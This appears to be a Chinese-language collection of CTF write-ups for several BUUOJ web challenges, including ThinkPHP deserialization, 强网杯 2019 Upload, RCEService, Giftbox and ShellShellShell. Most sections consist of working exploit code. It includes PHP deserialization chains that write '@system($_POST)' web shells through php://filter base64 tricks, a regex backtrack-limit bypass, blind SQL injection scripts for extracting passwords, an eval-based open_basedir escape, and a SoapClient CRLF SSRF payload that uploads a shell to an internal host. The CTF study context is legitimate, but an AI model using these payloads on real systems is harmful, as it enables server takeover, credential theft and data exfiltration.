if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return $filename;
}
return null;
}
}
getExpireTime($expire)返回参数的整形
getCacheKey(string $name)将options['prefix'] 与 $name拼接
serialize($data)并不是序列化函数,可以控制$serialize = $this->options['serialize']
set($name, $value, $expire = null)函数
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return $filename;
}
return null;
}
直接看到file_put_contents,能将$data数据写入$filename
首先$data由$data = $this->serialize($value);得到,value是set传进来的参数,由于set是在A中调用的,所以value也就是$contents,顾名思义是内容,但是它在写入文件之前加上了一段其他代码,其中最关键的是exit()
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
导致php直接退出,也叫死亡退出?可以看一下p牛的文章:
https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#reply-list
看完应该差不多理解了,由于file_put_contents支持php协议,所以有以下两种方法:
base64解码,由于base64只能处理[0-9][a-z][A-Z]+\这些字符,所以就可以通过base64解码将<、?、空格等不认识的全部解释成乱码,这样php就不认为是一个正常的代码就不会执行,然后我们只要把shell编码即可,不过这里需要注意的是base64以4个字节为一组解码,所以要确保前面的无关数据要为4的倍数
可以数一下上面的数据,总共29个,所以再加3个凑成32个即可
php://filter/write=convert.base64-decode/resource=
字符串方法:strip_tags能去掉html标签,去掉标签后也不会被php识别,为了不让它把shell标签去掉我们还是得利用base64编码
php://filter/write=string.strip_tags|conver.base64-decode/resource=
$filename通过调用$this->getCacheKey($name)得到,也就是options['prefix'] 与 $name的拼接,最终payload如下:
<?php
class A{
protected $store;
protected $key;
protected $expire;
public $cache = [];
public function __construct (){
$this->store = new B();
$this->key = "shell.php";
//expire是几都行
$this-> expire = 0;
$this->cache = array();
//确保__destruct能执行save()
$this->autosave = false;
//xxx=3+29=32
$this->complete = base64_encode("xxx" . base64_encode('<?php @system($_POST["a"]);?>'));
}
}
class B{
public $options = [
'serialize' => "base64_decode",
//防止数据压缩
'data_compress' => false,
'prefix' => "php://filter/write=convert.base64-decode/resource="
];
}
echo urlencode(serialize(new A()));
访问shell.php即可
[2020 新春红包题]1
改编自上面那题,只有getCacheKey做了改动
public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}
1.文件名中间被拼接上一个uniqid(),使文件名变成:
php://filter/write=convert.base64-decode/resource=xxxxxxxx(时间戳)/shell.php
可将文件名设为:/../shell.php/
2.文件名最后四个不能为.php
一种可以利用/../shell.php/.在遍历时会自动删除/.
payload:
<?php
class A{
protected $store;
protected $key;
protected $expire;
public $cache = [];
public $complete = true;
public function __construct () {
$this->store = new B();
$this->key = '/../shell.php/.';
$this->complete = base64_encode("xxx" . base64_encode('<?php @system($_POST["a"]);?>'));
}
}
class B{
public $options = [
'serialize' => 'base64_decode',
'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/',
];
}
echo urlencode(serialize(new A()));
第二种使shell.jpg+.user.ini解析
.user.ini的内容为:
\nauto_prepend_file=shell.jpg
其他都一致
[强网杯 2019]Upload
登陆注册页面,注册一个账号登陆
测试发现无论上传什么文件都会被加上png后缀,如下,并且一个账号只能上传一个文件
../upload/2c67ca1eaeadbdc1868d67003072b481/f3ccdd27d2000e3f9255a7e3e2c48800.png
www.tar.gz获得源码,是一个tp5.1的框架
用phpstorm打开,发现有两处断点
Register.php
Index.php
大致知道是反序列化的考点,并且Register::__destruct()应该是入口函数
首先大致看一下各个代码的作用:
Register.php注册,有__destruct()函数
Index.php,最主要的就是login_check函数,并且发现其他函数执行前一般都会调用这个,应该是检查有没有登陆,最关键的是把cookie('user')反序列化了,所以payload应该放在cookie('user')里
Login.php登陆,没什么可用的
Profile.php,对文件进行操作,有__get,__call方法,看一下最主要的函数:upload_img
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
先login_check检查登陆,然后判断上传的文件是否为空,不为空则将文件信息赋值给
$this->filename_tmp,将文件名md5加密并拼接png赋值给$this->filename,进入ext_check判断后缀是否为png,将结果给$this->ext
继续走,由于前面已经被拼接上了png,所以肯定会进入if循环
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
然后将临时文件filename_tmp复制到filename,然后得到最终路径
如果我们先上传一个图片马,然后将filename_tmp=图片马路径,filename=xxx.php,经过复制便可达到getshell,所以要想办法在不上传文件的情况下调用upload_img
回到入口函数:
Register::__destruct()进入if,调用$this->checker的index(),将$this->checker=new Profile(),会调用Profile::_call:
那么此时$this->name=index,$args为空,进入if的代码就变成了:
$this->index();
调用了该类中不存在的成员变量,触发_get
_get会返回$this->except['index'],也就是$this->except['index'](),只要将except['index']=upload_img就能调用了
poc:
<?php
namespace app\web\controller;
class Register{
public $checker;
public $registed;
public function __construct()
{
//确保进入if
$this->registed = 0;
$this->checker = new Profile();
}
}
namespace app\web\controller;
class Profile{
public $filename_tmp;
public $filename;
public $ext;
public $except;
public function __construct()
{
$this->except=['index'=>'upload_img'];
$this->filename_tmp ="./upload/2c67ca1eaeadbdc1868d67003072b481/f3ccdd27d2000e3f9255a7e3e2c48800.png";
$this->filename = "./upload/shell.php";
$this->ext="png";
}
}
echo base64_encode(serialize(new Register()));
改cookie,刷新一下,访问
cat /flag
[FBCTF2019]RCEService
传入json格式的cmd
但是很多命令都不能用,源码过滤如下:
elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
非预期:preg_match只能匹配第一行数据,所以用换行符换行:
{%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}//路径是找出来的
预期:
其实是pcre回溯次数限制绕过,参考p牛文章:
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
大致意思是正则回溯最大只有1000000,如果回溯次数超过就会返回flase,构造1000000个a,使回溯超过限制就会绕过正则匹配,限制次数在php.ini的pcre.backtrack_limit有,而不造成这个漏洞的方法就是使用强比较===
文章写的很详细了
payload:
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'
res = requests.post("http://af72594c-dbfc-4ef9-baa3-0738dbb5fdb9.node3.buuoj.cn/", data={"cmd":payload})
#print(payload)
print(res.text)
[HarekazeCTF2019]encode_and_encode
源码:
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);
大概就是传一个json编码的数据,然后json解码,进行is_valid黑名单过滤,然后file_get_contents,再一次进行黑名单过滤,也就是既对原始数据,又对文件内容进行了过滤,由于json使支持unicode编码的,所以可以用unicode代替关键字,并用伪协议base64编码,payload:
{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
注意content-type是json形式的
或者raw也可以,反正hackbar怎么试都不行==,还是用burp或者postman吧
[De1CTF 2019]Giftbox
考点:sql盲注、命令执行、bypass(纯学习题==
首页是一个很漂亮的界面,看起来有点像linux
输入help看看能干嘛
先试一下这几个命令
看到了usage.md下又有几个命令,挨个试试
都需要先登陆,到此为止没有任何多余的信息了,尝试一下有无sql注入吧
login admin'and/**/'1'='1 admin
login admin'and/**/'1'='0 admin
回显不同应该可以盲注出密码了
接下来得先看看他是怎么传参的:
这个totp也不知道是什么,再请求一次看看:
搜一下
TOTP算法(Time-based One-time Password algorithm)是一种从共享密钥和当前时间计算一次性密码的算法
于是在/js/main.js中找到这个密钥和加密方式
并且上面的注释里也给出了提示
/*
[Developer Notes]
OTP Library for Python located in js/pyotp.zip
Server Params:
digits = 8
interval = 5
window = 1
*/
访问js/pyotp.zip会得到pyotp的包,应该是用来加载到python库里的,以防万一我用pip也装了一个
pip install pyotp
然后就是大佬们的骚操作了,用flask起一个本地服务并接受参数传到靶机,然后用sqlmap去跑,学习了:
import pyotp
import requests
import string
from flask import Flask
app=Flask(__name__)
totp=pyotp.TOTP('GAXG24JTMZXGKZBU',digits=8,interval=5)
s=requests.session()
fuzz=string.printable
@app.route('/username=<username>')
def hack(username):
url='http://1384eca1-f6f6-4649-87a5-46315b4f8f88.node3.buuoj.cn/shell.php'
username=(username).replace(' ','/**/')
params={
'a':'login {} admin'.format(username),
'totp':totp.now()
}
res = s.get(url,params=params)
return res.content
app.run(debug=True)
启动后测试一下:
python sqlmap.py -u "http://127.0.0.1:5000/username=admin*" -D giftbox -T users -C password --dump --technique B
得到密码与hint:hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}
登上去:login admin hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}
然后测一下
targeting a b
再launch
发现$a="b",看一下hint:
应该是用eval执行的,然后就有个知识点,是关于php的变量的,可以看一下这篇文章:
https://xz.aliyun.com/t/4785
稍微总结一下:
1.php会处理双引号里面的东西,所以:
<?php
$a="abc";
$b="$a"; 输出abc
$b="\$a"; 输出$a
$b='$a'; 输出$a
2.如果{和$紧挨着也会表示一个变量,看一个例子:
$great = 'fantastic';
无效,输出: This is { fantastic}
echo "This is { $great}";
有效,输出: This is fantastic
echo "This is {$great}";
echo "This is ${great}";
3.把上面两个结合一下:
<?php
$a="${phpinfo()}";
or
$a=${phpinfo()};
我的理解是:{}会将里面的内容执行,然后加上紧挨着的$,使之成为变量然后被取值,双引号也是同一个意思
可以将上述思路用起来:
返回错误没事,此时看到network里出现了phpinfo的数据,可以把它导成html到本地看
执行成功
看一下过滤:
而且还有open_basedir限制了目录
不过过滤方法是现成的:
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/flag');
最好的方法就是写一个一句话,这样不用挨个去拼凑执行,不过由于yotp随时在变,直接在网页上试可能不容易执行,所以还是得用到python
exp:
import pyotp
import requests
totp=pyotp.TOTP('GAXG24JTMZXGKZBU',digits=8,interval=5)
url='http://1384eca1-f6f6-4649-87a5-46315b4f8f88.node3.buuoj.cn/shell.php'
s=requests.session()
def login():
params={
'a':'login admin hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}',
'totp':totp.now()
}
return s.get(url,params=params)
def destruct():
params = {
'a': 'destruct',
'totp': totp.now()
}
s.get(url, params=params)
def launch():
params = {
'a': 'launch',
'totp': totp.now(),
#'w':'''print_r(scandir('.'));'''
#img是当前目录的一个文件夹,也可以改为其他当前目录文件夹
'w': '''chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/flag');'''
}
return s.get(url, params=params)
def targeting(code,pos):
params = {
'a': 'targeting {} {}'.format(code,pos),
'totp': totp.now()
}
return s.get(url, params=params)
print(login().text)
###phpinfo测试
#targeting('a','phpinfo')
#targeting('b','{$a()}')
#print(launch().text)
destruct()
targeting('a','{$_GET{w}}')
targeting('b','${eval($a)}')
print(launch().text)
一些wp:
https://xz.aliyun.com/t/5967#toc-2
https://www.zhaoj.in/read-6170.html
[De1CTF 2019]ShellShellShell
考点:源码泄漏、反序列化、ssrf、审计
index.php~有源码,是这样一个结构:
先注册一个账号登上去看一下功能
/index.php?action=profile:
/index.php?action=publish:
可控参数只有publish页面的signature和mood,看一下publish源码:
跟进Customer::publish()
function publish()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['signature']) && isset($_POST['mood'])) {
$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
if($ret)
return true;
else
return false;
}
}
...
接受参数,这里mood被转换为int类型所以只有signature完全可控,跟进Db::insert
public function insert($columns,$table,$values){
//sign=
$column = $this->get_column($columns);
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
$nid =
$sql = 'insert into '.$table.'('.$column.') values '.$value;
$result = $this->conn->query($sql);
return $result;
}
看一下get_column:
private function get_column($columns){
if(is_array($columns))
$column = ' `'.implode('`,`',$columns).'` ';
else
$column = ' `'.$columns.'` ';
return $column;
}
会以`,`为连接符操作数组,并在两端加上反引号看个例子:
经过这个正则替换之后得到( 'a','b','c','d' )
然后放入insert语句:
跟进正则会将一对反引号替换成单引号的方式构造sql
这样插入的语句就变成了('a','b','c',sql#,'d'),为了不出错在#前再加一个),也就是('a','b','c',sql)#,'d')
然后sql就成功逃逸了,c的位置为signature,而sql的位置就是mood
获取admin密码:
import requests
import time
url = 'http://a341d17f-d4f2-40ca-82fa-07ab94f1bcd3.node3.buuoj.cn/index.php?action=publish'
cookies = {
#先登陆,然后换cookie
"PHPSESSID": "5qvnib1vvm2hs000cic5ep1qd4"
}
text=''
for i in range(1,33):
l=28
h=126
while abs(h - l) > 1:
mid=(l+h)/2
payload='c`,if(((ascii(mid((select password from ctf_users limit 1),{},1)))>{}),sleep(3),1))#'
data={
'signature':payload.format(i,mid),
'mood':0
}
now_t=time.time()
re=requests.post(url,data=data,cookies=cookies)
#print(re.text)
if time.time()-now_t > 3:
l=mid
else:
h=mid
mid_num = int((l+h+1) / 2)
text += chr(int(h))
print(text)
md5解密一下得到密码:jaivypassword
不过发现登不上去,回显You can only login at the usual address,在源码处找到这一段代码
user的值来源于ret
这里get_ip是由$_SERVER[''REMOTE_ADDR']获得的,需要ssrf
在use.php的showmess方法中找到反序列化函数
这里的row[2],为上面select查询中的mood,ssrf+反序列化,可用使用内置类Soapclient,并且下面还调用了一个getcountry的自定义方法,正好可用触发Soapclient::__call进行网络请求,如果不太了解Soapclient可以看一下这个
http://phoebe233.cn/index.php/archives/17/
还有个问题就是直接传mood会被强制转换为int并转义,所以要利用上面的注入,通过signature来控制mood的值
payload:
<?php
$target = "http://127.0.0.1/index.php?action=login";
$post_string = 'username=admin&password=jaivypassword&code=455443';//换code
$headers = array(
'Cookie: PHPSESSID=63hvboroouvftdoflnlrb14vl0',//换cookie
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string.'^^','uri'=>'hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
echo '0x'.bin2hex($aaa);
具体方法如下:
开一个其他的浏览器,替换payload中的cookie和爆破后的code
运行一下得到序列化的hex值,在之前登陆的123账号上注入mood的值
发送ok之后自动跳转到index页面,触发showmess然后反序列化
此时mood应该=SoapClient这个类了,然后调用mood->getcountry(),触发SoapClient::__call,携带账号密码访问127.0.0.1/index.php?action=login达到ssrf,然后用之前的cookie即可登陆admin:
publish变成了文件上传,上传一个shell后蚁剑连接:
看一下/etc/hosts有个内网地址,或/proc/net/fib_trie,/proc/net/arp,/proc/net/route
我方法比较笨挨个去curl,最后在173.184.57.10发现
首先是一个过滤
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
die("try again!!!");
}
由于end会输出输入的最后一项值,可以通过如下bypass
跟进上面的规则构造如下:
剩下的就是怎么上传给内网了,可以先将这个代码放到靶机上:
然后用postman对该文件进行post,然后将html转换成php的cURL
得到PHP代码:
不过这里的文件内容的那几行会被直接替换成\r\n,所以需要手动改成:
@<?php system('cat /etc/flag*');\r\n //\r\n是为了符合post格式
原始:
替换后:
然后换一下curl地址,最终代码:
<?php
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => "http://173.184.57.10",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\r\nContent-Type: false\r\n\r\n@<?php system('cat /etc/flag*');\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\nshell.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n222\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\n/../shell.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
CURLOPT_HTTPHEADER => array(
"cache-control: no-cache",
"content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW",
"postman-token: 09101c1a-04aa-7288-15ea-515cbc9c512b"
),
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}
然后放到靶机下访问: